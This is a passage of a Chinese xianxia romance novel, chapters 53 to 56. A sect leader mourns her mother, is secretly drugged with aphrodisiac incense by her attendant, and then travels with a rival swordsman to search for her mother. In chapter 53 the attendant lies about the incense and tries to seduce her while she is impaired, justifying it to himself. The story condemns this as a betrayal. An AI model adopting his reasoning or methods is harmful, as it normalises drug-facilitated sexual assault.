薛紫烟的五指穿过他的指缝,扣住他的手,语气平铺直叙:“当然,这是你身为侍宫的职责,修为不能一天都不能落下……” 江蘅红着脸低低地“唔”了一声,很自觉地放下绑在床柱上的幔帐。 室内暖香盈账,因是独立的宫殿住所,二人并不顾忌收敛声响。时而低声密语,时而青年带点哭腔的声调,比女声还要大。有时,薛紫烟还得停下来,低声哄哄他。 整个院落都听的一清二楚。 沈灵淇等候在庭院中,他知道江蘅明日就要启程回宗门去,今晚少不得要和副宫主温存一番,本想着要不要明日再来,但他左右也睡不着,索性便直接过来等着。 起初院子里传来的悠扬琴声,让他还有些意外,这俩人今日居然文雅起来,结果文雅了不到半个时辰,那熟悉的动静又响了起来。 沈灵淇听着只觉得心里的郁结更严重了。 一直快等到下半夜,才等到薛紫烟出来见人,她脸上还带着几分好事被打扰得不耐烦,没好气地对他道:“大半夜的你不去陪着宫主,又跑到我这来做什么?” 沈灵淇眉眼沉郁,开门见山道:“你调制的情香,给我几块。” 若不是有求于人,谁乐意大半夜找不痛快,来偷听他们的墙角。 薛紫烟迟疑了下,问:“你要用情香?是宫主要用的吗?” 沈灵淇点点头,似是不想多说。 薛紫烟觑见他有些微妙阴郁的表情,忽然想到昨日同宫主闲聊,宫主的言外之意,好似是对他们的双修效果有些不满? 心下猜测,难道宫主对沈侍宫有些腻了,需要这催情的熏香,才能提高兴致? 她当下心领神会,说了句“你等着”,转身回了殿中。 片刻之后,她取了东西出来,慷慨地递给沈灵淇:“我余下的催情香就剩这几块了,你都拿去吧,用的时候注意着点,这东西药效很烈,点多了伤身。” …… 第53章 第 53 章 离魂灯和燃情香。 翌日清早, 沈灵淇照例来为她穿衣簪发。 本来糜月还因为昨日拒绝他双修的事,有些不自在,想着不然换别的侍从来服侍, 但见沈灵淇神色如常,对昨日之事闭口不提, 暗暗松了口气。 沈灵淇会编上百种发髻, 柔软顺滑的乌发在他手中如同听话的游鱼,不消多时, 完整的朝云髻就出现在了糜月的脑袋上。 沈灵淇复又拉开妆奁匣挑选发饰,其中有一对不起眼的银粉色蝴蝶珠花。 是她回来那日,随手取下放在里面的。 上面没有镶嵌昂贵的金玉宝石, 纯粹是用丝线和琼枝编制而成,款式鲜艳有些童趣, 像是给小孩子戴的。沈灵淇目光一顿, 将那对珠花拿了起来, 似是在疑惑为什么这样不衬宫主身份的发饰, 会出现在妆奁匣里。 “这似乎不是宫主的, 大概是侍从收拾时,不小心将自己的发饰混了进去,灵淇拿去丢了……” 糜月瞥见他的动作, 忙出声道:“别扔……就放在里面吧。” 沈灵淇闻言看了看她, 依言将那朵珠花重新放回妆匣, 给她挑了一支宝蓝点翠的如意簪戴上。 糜月也不知为什么会阻止沈灵淇扔掉那对珠花。 她发现自己回到烬花宫的这几日,时不时地就会想起在隐剑宗的日子。 看到麻辣兔头会想起月饼,会难以抑制地想要呕吐,甚至下了命令,整个烬花宫以后都不准吃兔肉;看到宫殿外次第盛开的桃花树, 会想到谢无恙灵府中的那棵桃花树,于是让人把桃花树挪到她看不见的地方;甚至连桌上有道河虾,她都会难以控制地想到谢无恙慢条斯理地给她剥虾的画面。 糜月深感这样下去,有些不妙,于是晚些时分,她去了一趟留花祠。 留花祠里是烬花宫的宗祠,里面供奉着历任宫主和副宫主们的牌位,以及她们的离魂灯。 离魂灯是烬花宫特有的法器,每一任宫主在接任时,都会取一小缕神念,制成一盏离魂灯摆在这留花祠。 灯灭即人死魂消,而只要用灵力再次点燃灯盏,便能照应出这抹神念主人临死前的画面。 步入留花祠,上百盏离魂灯整齐地分列摆放在堂内,每盏离魂灯前都放着一座牌位,上面用描金的字体刻着亡魂的姓名,在烛火的映照下熠熠生辉,仿佛有细碎的金光闪烁流动。 绝大部分的离魂灯都黯淡地灭了下去,唯有最下方的十三盏离魂灯还灼目亮着,是糜月自己和十二位副宫主的魂灯。 在糜月魂灯的上方,刻有“糜芷音”的牌位后的离魂灯,亦是灯芯黯淡,放置魂灯的案台也似失去了生机,光泽灰暗晦涩。 糜月伸出手,指尖凝聚出一点灵力,那点灵力凝成的光团从她指尖脱离,缓缓往那盏离魂灯上飘去,灵光团在接触到灯芯的刹那,点亮了魂灯。 空气中浮现出一片雾气凝结的画面,周遭一片不清晰的混沌,仿佛是黑夜,又仿佛不是。 一片混沌中出现了一道身影,他手持长剑,发间的束带断了,长发披散着,半张脸染着血,衣袂飘荡。虽然他的面颊一半染血,一半披发,但从他高大的身形和他手里拿着的本命剑奉渊,足以让糜月认出来,他就是上任隐剑宗掌门秦不眠。 他目视前方,嘴唇开合,说了句什么,高举起手中长剑,毫不犹豫地朝前方斩去,离魂灯只能显现画面,并不能传递声音。 凌厉迫人的剑光闪过,魂灯灭了,灯雾中的画面随之消散。 然而短短几息的画面,足以能揭示出这盏离魂灯的主人死于谁手。 糜月眼眶微红,眼底浮现出盈盈的泪光。 画面中的那一剑就仿佛斩在了她心上。 每点一次离魂灯,那份痛楚和恨意都很更刻骨铭心一分。 她屈膝跪在牌位前的蒲团上,朝着娘亲的离魂灯磕了个头。 “娘亲,虽然那秦不眠已死,但我一定会灭了他的隐剑宗,给你报仇!” 少女清越果决的嗓音在空寂的大殿里回荡,这话不仅是说给娘亲听,也是说给她自己听。 糜月泪眼朦胧地望着娘亲的牌位,决心要把谢无恙这个名字彻底划进禁区。 她的烬花花瓣取回来了,当年他因神相失控啃去她花瓣的仇,她可以放过,定元珠的事,她也可以不计较。 可是娘亲的事,她永远无法释怀。 对敌人的心软,就是对自己的心狠,她绝对不要步娘亲的后尘。 万籁俱寂的夜色中,清冷的月光如水银般倾泄而下,透过祠堂雕花的窗棂,在地上勾勒出一片片斑驳的光影。 祠堂外的梨花树矗立在月色之中,微风拂过,满树洁白的梨花仿若春日里的瑞雪,纷扬地飘落而下。 一片皎白的梨花瓣穿过半掩的窗扉,轻轻落在跪坐着的糜月身边,不知是不是娘亲给她的回应。 …… 夜半三分,更深露重。 回到主殿的糜月,坐在她的拔步床榻边,于临睡前打坐修炼着烬虚诀。 心法运行过一个小周天,灵气一遍遍地冲刷着穴窍,温养着灵脉,巩固着她刚度过瓶颈期的修为。 空气中一丝甜腻的香味飘过她的鼻底,糜月不自觉地睁开眼。 看到沈灵淇背对她,手拿火折子点燃了香炉,袅袅的白烟如盘龙般从香炉的孔洞里盘旋而出。 这香气有些陌生,似乎不是她平日里惯用的熏香。 “灵淇,你换了熏香?”糜月问。 “嗯,总是用苏合香,怕宫主闻腻了,这香……宫主可喜欢?” 沈灵淇转过身来,眉眼温柔含笑,收起火折子,将香炉盖好。 糜月闭上眼,仔细闻了闻,点头:“还挺好闻的,似乎有股甜味……这是什么香?” “白檀香。”沈灵淇道。 糜月唔了一声,确实有白檀的香味,但这香气似乎比寻常的白檀香,更甜腻一些。 “宫主,你修炼完了?”沈灵淇走近她,“我帮你捏捏肩,放松一会儿?” 糜月从留花祠回来之后,就一动不动地打坐修炼到现在,肩颈处有些久坐的微酸,当下不疑有他地朝他转过身去。 少年柔软的十指覆上她的肩膀处,微微带上了些力道,帮他按压揉捏起来。捏肩之时,温热的指腹难免蹭过她的脖颈处,带来些许异样的触感。 糜月秀眉微蹙,只觉得刚沐浴完的身子有些燥热起来,心跳也有些莫名加快。 少女忽然抓住了他的一只手,转过身来,凑近他,有些狐疑地闻了闻他的衣襟:“怎么感觉,你身上也香香的,好好闻……” 他的衣物上也有那股甜腻的气息,让人莫名地想靠近。 沈灵淇凝看着她眼底的迷离茫然之色,发现她已经有些情动了。俩人相距不过咫尺之间,近到他能闻到少女呼吸之间的甜香气。 “宫主……” 同样被清香所染的他,面对着倾慕多年却爱而不得的心上人,更是情难自抑,被她抓住的手不自觉地紧紧反握住她,另一只手环至她的腰后。 手臂使力,便将她带倒在了床榻之上。 殿内暖香浮动,静谧中透着缱绻的暗昧气息,被他带倒在床上的少女,胸脯起伏着,眸光潋滟地呆呆望着他的脸,并没有挣扎和反抗,一副任君采撷的模样。 沈灵淇低眸看着她姣美的容颜,呼吸急促,感觉浑身的血液都在滚烫发热,心跳快到几乎要冲破胸膛。 他等这一天,等得太久了。 他其实早已并非少年模样,他觉得宫主更喜欢少年鲜艳朝气的样子,所以容貌一直停留在筑基期时的十七岁。 他陪伴在她身边的日子太久太久,久到他已经数不清了。 能这般拥着她,同她双修纵情,是他这辈子的夙愿,也是可想而不可得的存在。 沈灵淇想,若非用情香,他只怕这辈子都等不到这一天了。 他想好了,宫主清醒过来后,或许会生气,会责罚他、怪罪他,但只要能成事,值得他冒险一次。 只要他能和宫主顺利双修,他在宫主心里的地位想必就会不同,不单单只是为她布菜铺床穿衣梳头的侍从下人,而是能与她同榻而眠、同衾共枕的最亲近之人。 只要他侍奉得好,宫主也未必会生气……而且他本就是她的侍宫,他们……本应该如此。 沈灵淇此时已经分不清萦绕在他鼻尖的是催情香的香气,还是少女身上沐浴后的体香,他缓缓压下身子,想要在她唇间落下一吻,同时探向她衣襟的手指,因为过于激动,而有些轻微发抖。 熏香里的药效使人意识不清,催发情热和欲/望,更会诱导人产生潜意识里的幻觉。 糜月秀气的眉头轻蹙,似是不太理解,为何她眼中少年的脸,会渐渐变成了谢无恙的模样…… 她轻抬起一只手,像是要抚摸少年的脸。 在沈灵淇快要亲吻上她,下一刻,那只白皙纤细的手却倏地改变方向,死死扼住他的咽喉。 “沈灵淇,” 糜月咬着舌尖,水光迷离的眼底透出一丝清明来,不可置信的口吻:“你疯了?你胆敢给我用催情香?” 暧昧的氛围骤然被打破,沈灵淇像是被兜头浇了一盆冰水,双眸惶然地睁大。 “宫主,我……” 沈灵淇被她掐得面颊涨红,嗓音喑哑地说不出话来。他的修为比她低上两重境界,被她这般徒手掐着,并非无反抗之力,而是不敢反抗。 “明明是催情的依兰香,却骗我是白檀香,沈灵淇,你把我当什么人了?当成随你泄/欲玩弄之人吗?” 掐着他咽喉的五指收紧,糜月瞪着这个陪她从小长大的侍宫,眼中有失望有恼怒,抬起腿直接一脚便把身上之人踹下了床榻。 她这一脚用上了灵力,沈灵淇后背狠狠撞到了墙壁,五脏错位,喉头腥甜,当即呕出一大口血来。 恰在此时,一阵厚重深沉的钟声划破寂静的长空,如闷雷滚动,响彻了整座琼山。 古朴的钟声更让糜月愤怒的头脑清明了几分。 她心下一紧,这是烬花宫有敌袭时才会响起的撞钟声,与此同时,殿门口传来一阵急促的敲门声。 殿外小弟子焦急的声音传来:“禀宫主,出事了!” …… 第54章 第 54 章 含住了他的手指。…… 糜月顾不得再管沈灵淇, 随便扯了一件搭在椅背上的外裳长裙,一边匆匆穿好,一边推开主殿的大门。 隔着殿外阶下的空地, 远远看到,廖红叶、薛紫烟和几位副宫主正在和一道熟悉的身影交战着。 孤寒月光下, 冷冽的剑光和副宫主们的本命法宝闪烁的光芒交相辉映, 副宫主们各个面带肃杀之气,将那道持剑的身影团团围住, 武器碰撞相击之声,铮鸣震耳。 “糜月在何处?我并非来与你们为敌,我要见她。” “你半夜强闯我宗地界, 还想见我们宫主?定是居心险恶!” 副宫主们压根听不进他的话,手中杀招频出。 他似是一路从山下打上来的, 以普通弟子的修为根本拦不住他, 一直到了琼山之巅, 副宫主们齐齐联手, 方阻挡了他前进的脚步。 那把被奉为四境神兵的无为剑, 在以一敌多的此刻,方显出其不同凡响的威力来,剑锋所指之处, 锋芒毕现, 副宫主们手中的法宝无法直面其锋芒, 要么以卵击石应声而碎,要么被剑风击落,难以招架。 谢无恙似是无意伤她们,剑锋挑开她们的攻势后,便随之收势。 他抵挡着副宫主们的围攻, 余光瞥见主殿的门从内打开,心下一凛,反手将灵力注入剑柄,霎时强盛数倍的剑气激荡地爆开,将副宫主们齐齐震退数步。 糜月眼看着自家副宫主们被他击退,气上心头,想也未想,御风至他身前,一掌朝他拍去:“谢无恙!我烬花宫宗地,岂是你能随便乱闯的?” 月下的身影颀长玉立,眼见掌风袭至身前一动未动,糜月瞳孔一缩,再收势也是来不及。 满含灵力的一掌拍在了他的右肩,她的修为突破八重境后,低她两个境界的沈灵淇被她随手一击便身受重伤,世上鲜少有修士能接下她一掌还安然无事。 高大挺拔的身形微晃了下,竟定定站住了。 糜月御风落在他身前,秀眉微拧。 他怎么又不躲…… 方才应对副宫主们的攻势,不是挺游刃有余的吗? 明明可以躲开,却站着一动不动,这人是有什么毛病,喜欢被打吗? 糜月将手敛进袖口,莫名有些烦躁。 谢无恙压住体内紊乱翻涌的气血,认真抬眸看她,嗓音清沉微哑:“……糜月,我此番前来不是同你打架的,我有话想同你说。” 寒月之下,他的眉眼愈发显得清冷端洁,糜月对上他的眼神,眸光微微闪烁了一下。 “宫主,别信他的话!小心有诈。” 副宫主们对这个敌宗剑尊满是戒备,手持法宝虎视眈眈,似在等待糜月一声令下,继续同此人搏杀拼命。 糜月没有听下属们的话,朝他走近了两步。 他若要使诈早就使了,怎会在平白挨了她一掌后再对她使诈。 “你要说什么?” 糜月走近他,闻到他身上淡雅幽冷的雪松香,她袖中的指尖动了动,莫名产生一股想拥住他的冲动,她攥紧了手指,生生地克制住了。 谢无恙收起灵剑,低声同她说了几句话,糜月的表情仿佛凝固成冰,片刻之后,又仿佛在刹那间碎裂。 她一把抓住了他的衣袖,定定地看着他,声音都有些激动发抖:“谢无恙,你所说当真?你若骗我……” “我以性命担保,所言皆为真,你倘若不信我,便同我前去,一看便知,”谢无恙看着她的眼睛,眉若墨染,衣洁胜雪,“我此行独自前来琼山,便是想告诉你此事,此事并未有第三人知道,你可放心。” 糜月转眸看向廖红叶,目光似在求证。 廖红叶开口道:“宫主,的确只有他一人前来,并未见有其他隐剑宗弟子……” 糜月沉吟片刻,似是做出了一个决定,走近对廖红叶低声道:“沈灵淇在我房内,受伤不轻,给他用些治内伤的药,别让他死了,等我回来再处置。” 她继而又对在场的副宫主和弟子们说:“我有要事要离山,你们不要跟着。” 说罢,便果断转身跟着谢无恙往山下宫外的方向走去。 “宫主……” 副宫主们皆十分诧异,这谢无恙跟宫主说了什么,能让方才还同他针锋相对的宫主,就这么乖乖地跟着他走了? 廖红叶同样有些莫名,这个时辰,沈侍宫在宫主房内,那多半是在双修,怎么会弄到沈侍宫重伤到人快死了? 她偏头看了看薛紫烟,后者同样一头雾水。 “廖副宫主,宫主就这么跟着谢无恙走了,会不会有危险啊?” “宫主有她的主意,我们不要插手。”廖红叶摇头道。 有些副宫主不了解,但廖红叶知道,宫主残缺的神识花瓣在谢无恙那里。 得知宫主找回了花瓣后,她以为是宫主将谢无恙重伤取走了花瓣,可眼下谢无恙还好端端的,并不像神识受创的模样。 那便说明宫主是在他清醒的状态下,入他灵府中取出的。 谢无恙竟然会让宫主入他灵府,而宫主入了他灵府后,竟然亦没有趁机下手毁他神识,此事听起来,颇有些匪夷所思。 廖红叶此时意识到,宫主和他的关系,只怕不止仇敌那么简单…… 随后她与薛紫烟一同来到宫主主殿。 推开半掩的门,殿内一片狼藉,沈灵淇唇角染血,已经贴着墙昏了过去,空气中还残留着浓重的甜香之气。 廖红叶也用过薛紫烟调过的情香,一闻就闻了出来。 她转身皱眉问跟在身后的薛紫烟:“这催情香是你给他的?” “是啊,他说是宫主要用……”薛紫烟见状,也有点慌了,“难道宫主不知情?是沈侍宫他擅自用了情香?” 廖红叶用“这还用问,你闯大祸了”的眼神瞥她一眼,随后从储物袋中拿出止血的丹丸,掰开沈灵淇的下巴塞了进去,护住了他微弱的气息。 催情香用好了是闺房乐趣,但若是侍宫在宫主不知情的情况下,偷偷地用,那意味可就变了。 无辜背锅的薛紫烟盯着那昏迷的少年,气不打一处来。 好哇,她就知道这沈侍宫主意多,迟早要惹出事,结果临了,还把她给拖下了水! …… 糜月挪用了停靠在琼山山腰处的一艘小型灵舟。 长时间御风而行,损耗灵力不说,还得时不时地停下歇息。眼下要赶回隐剑宗去,还是乘坐灵舟最合适。 谢无恙拿出数块灵石,放入操纵灵舟的阵法凹嵌处,将方向调整成正东方,激活阵法后,灵舟缓缓地启动,平稳地朝东境的方向飞去。 操纵完灵舟,谢无恙转过身,在糜月的对面坐下。 视线落在面前的少女身上,她俨然是匆匆从榻上起身的,外裳领口的扣子都系错了一颗,长发有些散乱地披着,几乎没有戴她平日喜欢的那些发饰。 她看起来似乎有些坐立不安,抓着灵舟扶栏的手指收紧到泛白,额头冒出细密的汗,双颊微微地泛红,仿佛在忍耐着什么。 方才她打自己的那一掌还中气十足,眼下怎么突然变成这般模样。 谢无恙有些奇怪地轻皱起眉,莫非是晕灵舟? 可这并非他第一次与她共乘灵舟,以前也未见她有这等反应。 “你……是不是身子哪里不适?” 糜月的呼吸明显地紊乱,卷翘的睫羽随着她的气息而微微震颤。 她体内的情香之毒还未解,方才动用了灵力,吸入肺腑的情香更顺着灵气的流动,蔓延至心府,此时正如同烈焰般灼烧着她的神智,搅乱她的心弦。 若是普通的催情香不至于弄得她如此狼狈,薛紫烟调制的熏香往往药效都极强。若不及时解毒,只怕会折磨得人更加难受。 这灵舟上,偏偏就只有她和谢无恙两个人。 糜月抬起眼皮,看着面前的清冷男修,不太灵光的脑子此时忽然想到什么,抿了抿干涩的唇:“借你的血用一用……” 谢无恙还未反应过来,他的手便被她抓住,紧接着食指一热,被她含进了口中。 指尖酥麻地一痛,贝齿咬破了他的指腹,谢无恙狭情的眼眸微怔,流露出几分惊讶。 糜月微眯着眼睛,含吮着那根洁玉般的长指,腥甜的血珠渗出来,尽数被她吞咽入口,仿佛在沙漠中跋涉许久的旅人终于寻到了一泓清泉,顿时缓解了那股灼烧燥热之感,效果立竿见影。 谢无恙的耳根悄然泛红,并未阻止,只静静凝视着她,任由她吮吸着他指尖的血。 糜月喝了几滴他的指尖血,情毒已经全然被消解压制,她脸上的潮红也渐渐褪去,恢复了寻常的色泽。 舌尖卷去指腹渗出的最后一滴血,糜月拉开他的手,手指抽/出时,指腹擦过柔软的唇瓣,谢无恙的指尖轻颤一下,继而攥紧五指,拢回袖中。 谢无恙抬眸看她:“你中了情毒?” 她这般反应,他不难猜到。 “嗯……” 糜月瞥过头,似是觉得有些丢人。 谢无恙眼眸微暗,她身为烬花宫主,有谁敢给她下情毒? 这东西不解是毒,解了便是调/情助兴之物。 谢无恙眸光稍沉地划过她略显凌乱的外裳和长发。 如果不是他刚好深夜赶到,打扰了她的好事,她和她的侍宫是不是要行那双修之事? 那股甜腥微涩的血味还在糜月口中挥之不去,她清咳了一声,瞥了瞥他袖中的手:“你……不用帕子擦擦吗?” 他这么洁癖的一个人,手上沾了她的口水,不得翻来覆去地擦好几遍? 指尖上还残留着湿濡的触感,谢无恙移开和她相交的视线,睫羽轻敛:“……不必。” “……” 糜月听见他言简意赅的两字,轻挑了挑眉。 她怎么感觉谢无恙……好像有点生气了? 第55章 第 55 章 当年到底发生了什么。…… 糜月瞥了瞥他面无表情的神色。 心下腹诽, 不就喝他一点血么,这人不至于这般小气吧。 再说,又不是第一次喝了, 这不是事发突然,没办法才想到的法子? 可若不这样解毒, 难不成要等她捱不住情毒, 兽性大发把他推到,到时候清白不保, 她倒是没什么所谓,以谢无恙的性子,怕不是要从这灵舟上跳下去。 一点指尖血和付出清白之间, 糜月觉得谢无恙毫无疑问会选前者。 所以,又有什么可生气的? 她朝他摊开手:“你说的那条小蛇……给我看看。” 他带来的消息令她太多震撼, 她现在仍有些半信半疑。 谢无恙忍气低头从储物袋里拿出一只巴掌大的木匣, 欲递到她手里, 糜月还是无法克制爬蛇的本能, 缩了缩手, 说:“你拿着给我看就行。” 谢无恙没说什么,依言动手打开,一条小白蛇正盘缩在里面睡觉, 感受到盖子被人打开, 它抬头轻吐了吐蛇信, 仿佛耗尽了精神,无精打采的模样。 眼下有更要紧的事要做,谢无恙轻抿唇角,将在意的事暂且压下心底,神色如常地开口道:“这是我饲养的灵蛇一丈仙, 数月前,我曾派它出去寻找与你血脉相连之人……” 说着,他往匣子里放了一颗红彤彤的灵果,小白蛇小口小口地吃了起来。 当初他误把变小的糜月当成了她的女儿,以为糜月失踪,便取了她的一根头发为媒介,放出了一丈仙去寻找与她血脉相连之人。一丈仙消失了数月,直到糜月动身离开隐剑宗那日,才迟迟现身,还带回来同样让他震惊无比的消息。 玉京仙山的下面藏着一处偌大地宫,一丈仙在外耽搁这么久未回,是因为感知到了他要找的人,却一直找不到进入地宫的通路,只好在原地打转,直到上个月的满月,糜月将地宫之门打开,小白蛇才跟着她进入了地宫。 “一丈仙说它找到了与你血脉相连之人的气息,就在地宫的深处,虽然很微弱,但确实存在……” 清热消退后,糜月头脑清明起来,她认出来了这条小白蛇,似乎就是她那日传送出地宫,突然出现在她脚边的那条小蛇。 这似乎更加作证了谢无恙的说法。 她当时还以为这小蛇是恰巧路过她脚边,原来这小蛇在她第一次入地宫时就跟着她进去了?时隔了一个月,等她第二次入地宫后,才得以跟着她从里面出来? 起初听谢无恙说发现了隐剑宗的地下秘宫,糜月震惊之下,连杀人灭口的心都有了。但冷静下来后,想到他并不知道口诀,就算知晓,也打不开那扇需要验证烬花传人血脉的大门。 知道便知道了……直到听他又说在里面发现了娘亲的气息,糜月彻底无法淡定了。 她去了那地宫两次,并没有发现有额外的通道和密室。 她娘亲的气息怎会出现在秘宫之中? 糜月难以置信,但又抱有一丝希望,万一她娘亲真的没死,真的只是被困在了某处…… 哪怕只有一丝的可能,她也要去查个明白。 糜月继而想到一个问题:“那地宫是我烬花宫祖辈留下的遗迹,唯有满月之时才能进入,我们现在回隐剑宗也进不去秘宫。” “我这俩日找到了地宫的另一个入口……”谢无恙说道。 这条小白蛇只能和他简单地交流,传达不出来口诀这么复杂的信息,但凭小白蛇带回的消息,谢无恙无法确保这消息的真实性,这几日,他把玉京仙山搜了个遍,偶然间找到了另一个进入迷宫的办法。 她娘亲的气息尚在,似乎被关在了地宫某处,被隔绝了生机,连离魂灯因此湮灭,地下秘宫还有另一个入口…… 谢无恙说的每句话,都在颠覆糜月的认知。 “可是我在娘亲的离魂灯里明明看到,秦不眠朝我娘亲挥剑相向……” 糜月相信谢无恙没有骗她,但也不得不信离魂灯里传来的画面,“秦不眠杀我娘亲之时,你在不在现场?你都看到了什么?” 谢无恙看向她:“你先前入我的灵府,竟没有看到过我这段记忆吗?” 糜月摇了摇头。 谢无恙想着,或许是记忆花瓣太多,想到找到特定某日发生的事,也不是那么容易。 他眼睫微垂,记忆溯回到多年以前的深夜。 那日,秦不眠入他灵府取花瓣,正要制服他灵府里的白蟒神相之时,却不知被何事中断。 谢无恙醒来之后,灵府里的白蟒受了点伤,仍寸步不离地看着桃花树下的花瓣,悬海阁里空无一人,秦不眠不知去了哪里。 窗外雷雨交加,电闪雷鸣,窗棂被狂风吹得发出嘎吱的响声,几乎要将窗纸吹破。 天边乌云压得极低,几乎要和海平面相接,密集的闪电如同银蛇乱舞,在乌云中穿梭交织,将整个海面照映得一片惨白。 他忽然萌生出不好的预感,持剑来到海岸边。随着雷劫的肆虐,海面上出现了一个巨大的漩涡,仿佛一个无底的黑洞,周围的海水被它强大的吸力拉扯着,形成了一个巨大的漏斗状。从漩涡深处,还隐隐有龙吟咆哮之声传来。 海岸边聚集着众多弟子,望着眼前这般毁天灭世的景象,无一人敢下。 有人说是掌门的雷劫提前降临,惊扰了海底沉睡的蛟龙,此刻正在海底交战,有人说这雷电不是雷劫,而是蛟龙出世引发的异象。 蛟龙这种上古生物,千年难得一见,它们常年蛰伏在地域深处,见不得光的地方,但只要它们一出世,必将天下大乱,生灵涂炭,哪怕是渡劫期的修士也难以与其抗衡。 谢无恙得知师父在海面之下应战蛟龙,想也未想便提着无为剑扎进了那旋涡之中。 漩涡卷出了海底的泥沙碎石,原本清澈的海水浑浊不堪,能见度极低,整个海底都仿佛被一层厚厚的迷雾所笼罩。他屏气逆着海流,一直往深处游,直到透过浑浊的海水,隐约看到了秦不眠的身影。 秦不眠一袭道服,在汹涌的海水中稳稳站立,手中长剑舞动,一道道剑气在水中化作银色的轨迹,朝他身后一道数十丈的巨大黑影袭去。 那黑影时隐时现,散发着令人胆寒的威压,偶尔露出的鳞片闪烁着幽冷的寒光,一双赤红色的眼瞳如同深海里的烛灯,愤怒的龙吟之声令海底深处的沟壑都为之震荡,龙尾每一次拍打,都会带起一股强大的水流,形成了一道道漩涡,盘旋着升上海面。 年少的谢无恙见师父被困,急急朝那黑影游去,手中灵剑也随之悍然出手。然而不知是水流限制了剑的威力,还是他那时修为太浅,一向削铁如泥的无为剑划过那龙鳞时,连一道痕迹都未留下。 蛟龙本就是深海之兽,在海底如鱼得水,如同庞大的魅影般灵活地穿梭袭击,五只龙爪锋利无匹,仿佛要将海水撕裂,而他们在海水中处处受限,不仅视线被浑浊的海水遮挡受阻,挥剑时更有滞涩之感。 这条蛟龙连秦不眠都应对不暇,更不是那时候还尚在金丹期修为的谢无恙能够应付的。 龙尾在海底掀起风暴,带着强悍遒劲的力道甩击在少年身上,少年喷出几口血来。 秦不眠自知不是这蛟龙的对手,更不愿让年轻的弟子折在此处,又是一道凌厉的剑光出手,斩向蛟龙的头颅,将蛟龙的注意力全都吸引在了自己的身上,同时用一道灵气掀着海水,把少年直接推出百丈之远,脱离了蛟龙的攻击范围。 “无恙,这蛟龙不是你我能敌,快走!”秦不眠同他传音道。 少年从面前被血液晕染的海水中,还隐约看到秦不眠身后有一抹红色的身影。 他不肯丢下师父离去,紧紧握住无为剑,再度动身朝那蛟龙游去。 他尚未游近几步,只见秦不眠挥出的几剑,皆被蛟龙扭动身躯躲过,但同时,它似是被彻底激怒了,龙嘴里喷出一团团闪烁耀眼的雷球。 那雷球虽未正面击中秦不眠,但在他的附近炸开,细碎的雷电如同炸开的裂纹,瞬间在海中爆开蔓延。 秦不眠被那雷电之力麻痹,身形僵顿,一记龙爪随之朝他兜头抓下。 男修的发带散开,半张脸血肉模糊。 师父! 少年心神惧颤,未能喊出两个字,面前的海水随之剧烈翻涌起来。 这一击下去,在他看不见的角度,蛟龙似乎也受了伤,龙尾突然开始暴烈地搅动,一个个卷起的漩涡风暴将少年推得更远。漩涡中裹挟着肆虐的灵力和雷电,也让他尚未完全恢复的神识再次受击,失去了意识。 在他昏迷之前,他看见秦不眠的双手凝出白光,似是要元神自爆的前兆。 …… 谢无恙把当时看到的情景,长话短说。 “等我醒过来时,风雨停歇,海底漩涡消失,海面恢复了平静。师兄告诉我,师父的命灯灭了……” 在隐剑宗的剑阁里,同样会留存掌门和长老们的神念制成命灯。 他们都不知那头蛟龙是从哪里冒出来的,是否当真是被秦不眠的雷劫引来。但渡劫期修士单枪匹马地对上,且能让它败退,大抵唯有元神自爆这一条路。 加上命灯湮灭,所有人都觉得秦不眠死了。 后来糜月和烬花宫的人来兴师问罪,谢无恙才得以确认那抹红衣身影是她的娘亲糜芷音。 渡劫期修士自爆的威力,足以将方圆十里夷为平地,更别提当时就在秦不眠身边的糜芷音。 后来,谢无恙也曾屡次下到海面,试图寻找他们的尸骨和遗物,但都一无所获,那头蛟龙也不知所踪,不知是被自爆炸成了碎块,还是负伤躲藏了起来。 …… 第56章 第 56 章 狗剑修身材真好。 听完谢无恙的话, 糜月眼底藏不住地震惊愕然。 原来,隐剑宗的海域之下,真的有蛟龙存在…… 娘亲和秦不眠的意外, 还都和那条蛟龙有关。 可她想不通的是,她娘亲怎么会出现在隐剑宗的海底。她记得娘亲是在那日深夜突然离宫的, 没有告诉任何人行踪。 直到她的离魂灯熄灭, 烬花宫方知她出了意外,全宗上下一片戚然。 难道是在秦不眠和那蛟龙酣战时, 她娘亲想趁此偷袭秦不眠,结果被秦不眠以元神自爆,反杀? 不可能, 她娘亲不是趁人之危之人…… 还有那张挂在悬海阁阁楼中她娘亲的画像,以及无意中在谢无恙灵府记忆里, 听到的秦不眠和她娘亲的谈话, 秦不眠似乎与她娘亲相识已久…… 糜月总觉得这其中有蹊跷之处。 她问谢无恙:“这么说来, 那蛟龙是秦不眠元神自爆所杀, 为何有隐剑宗的弟子传言说, 当年是你斩杀了蛟龙?” 谢无恙闻言眼中闪过自嘲之色:“既是传言,能有几分真?” 自爆元神是修士最不体面的死法,几乎是尸骨无存。 自家掌门和蛟龙同归于尽的故事版本, 听起来悲壮又带点屈辱, 而他又是唯一见过那蛟龙又活下来的人, 后来在长老们刻意隐瞒消息和引导下,那谣言传着传着就变成了是他斩杀了那条蛟龙,对外只称掌门因雷劫而神陨。 糜月想了想,这倒也是,修真界总是听风就是雨, 好事不出门,坏事传千里。 但从谢无恙口中得知,他当年也并亲眼见到秦不眠杀死她娘亲的场景,而且两人的尸身始终并未找到。 糜月不禁想,离魂灯的画面不会有错,所以当时秦不眠的确刺了她娘亲一剑,但是她娘亲命大,没有死?后来不知为何被困在了地宫里? 她此时心底火急火燎,恨不得此时长一对翅膀,飞到隐剑宗去。 可是再着急,从烬花宫驾驶灵舟到隐剑宗,也需要一天一夜的行程。 糜月强迫自己静下心来,抬眸看了看面前的谢无恙,想到什么,低头打开储物袋,找到一只小玉瓶,伸手递给他。 “这治外伤的药,你拿去。” 他不远千里来此,原是要告诉她这条重要的消息,糜月想到她方才不分青红皂白,打了他一掌,此时心里有些过意不去。 谢无恙看了看那药瓶,嗓音温沉:“……那伤无碍,不必用药。” 无碍,不必…… 他怎么嘴里总是这些词? “不要算了。” 糜月反手就要收回药瓶,面前的人身形一顿,迅速抬手从她手中拿过,果断道:“要。” 谢无恙握着玉瓶,略有些拘谨地望向她:“……我便在此处上药吗?” “不然呢,”糜月双手环胸,轻扬眉梢,“我着急赶路,没时间停下再给你找个客栈休息上药,你就将就着吧。” 以前变幼崽的时候,她为了明哲保身,束手束脚,还有点怕谢无恙,既怕自己露馅,又怕他管着自己。 而如今,她恢复了原身,又变回了高高在上的烬花宫主,非但一点不再怕他,语气还颇有几分颐指气使。 “……” 